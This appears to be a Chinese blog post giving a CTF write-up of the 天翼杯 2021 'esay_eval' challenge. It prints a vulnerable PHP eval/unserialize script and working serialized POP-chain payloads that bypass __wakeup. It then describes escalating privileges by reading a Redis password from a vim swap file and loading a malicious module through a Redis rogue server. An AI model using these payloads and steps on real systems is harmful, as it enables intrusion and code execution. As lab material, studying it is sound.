您现在的位置是:首页 >技术教程 >[天翼杯 2021]esay_eval网站首页技术教程

[天翼杯 2021]esay_eval

许允er 2024-06-17 11:19:12
简介[天翼杯 2021]esay_eval

[天翼杯 2021]esay_eval

<?php
class A{ #定义一个名为A的类
    public $code = "";  #定义一个公共属性code 
    function __call($method,$args){  #call魔术方法 当调用一个不存在的成员方法的时候触发
        eval($this->code);   #将code的值以php代码执行 
        
    }
    function __wakeup(){     # wakeup魔术方法反序列化时直接执行
        $this->code = "";    #     #将code的值设为空
    }
}

class B{            #定义一个名为B的类
    function __destruct(){      #destruct魔术方法当对象被销毁时自动调用
        echo $this->a->a();      #通过echo输出了a中a方法
    }
}
if(isset($_REQUEST['poc'])){  #接收poc
    preg_match_all('/"[BA]":(.*?):/s',$_REQUEST['poc'],$ret);  #从poc中提取匹配BA和.*?的字符并存储到ret中
    if (isset($ret[1])) {  #判断ret[1]是不是存在
        foreach ($ret[1] as $i) { #把ret[1]中数组的值赋值给$i
            if(intval($i)!==1){   通过intval将$1改成整数 并怕判断是不是等于1
                exit("you want to bypass wakeup ? no !");
            }
        }
        unserialize($_REQUEST['poc']);    
    }


}else{
    highlight_file(__FILE__);
}

反推

    function __call($method,$args){
        eval($this->code);

call方法当调用一个不存在的方法时使用

 function __destruct(){
        echo $this->a->a();
    }

destruct中调用了不存在的a方法

而destruct的调用要在类销毁时调用

wakeup会给code赋值导致eval执行错误所以我们要绕过wakeup

那destruct的调用我们要先创建B类

new B -> destruct -> call
B            B        A
<?php
class A{
    public $code='phpinfo();'; 
}
class B{
    public $a;

}
$b = new B();
$b->a = new A();  
echo serialize($b);


?>

这里B中的a用来实例化A

这样$this->a->a() 就是 A类中的a()因为没有a()所以call会调用

这里因为匹配B A 类之后的数字判断是不是1 所以不能增加属性个数,我们可以在加真实属性的个数

还有这里匹配的是大写字母 类的名称大小都可以

O:1:"B":1:{s:1:"a";O:1:"A":1:{s:4:"code";s:10:"phpinfo();";}}
O:1:"B":1:{s:1:"a";O:1:"A":1:{s:4:"code";s:10:"phpinfo();";}s:1:"z":Z;}
O:1:"b":1:{s:1:"a";O:1:"a":1:{s:4:"code";s:10:"phpinfo();";}}

这里过滤了system 所以不能直接读取

 

 

 发现其他目标没有权限 我们下在config.php.swp

vim -r config.php.swp

define("REDIS_PASS","you_cannot_guess_it");
define("DB_DATABASE" ,"test");
define("DB_PASSwOrd","");
define("DB_USERNAME","root");
define("DB_HOST" , "localhost");

 发现Redis密码,猜测是Redis提权

 用蚁剑连接Redis

http:// https://github.com/Medicean/AS_Redis

这里有教程

或者在蚁剑中找到插件商店

 

但是这个比较慢

 

 这样就好了

 

 

 

 然后使用redis利用脚本

https://github.com/Dliv3/redis-rogue-server 

 上传exp.so

 

MODULE LOAD 加载命令

这题无疑是一道很好的题,一步一步坐下来很有意思

风语者!平时喜欢研究各种技术,目前在从事后端开发工作,热爱生活、热爱工作。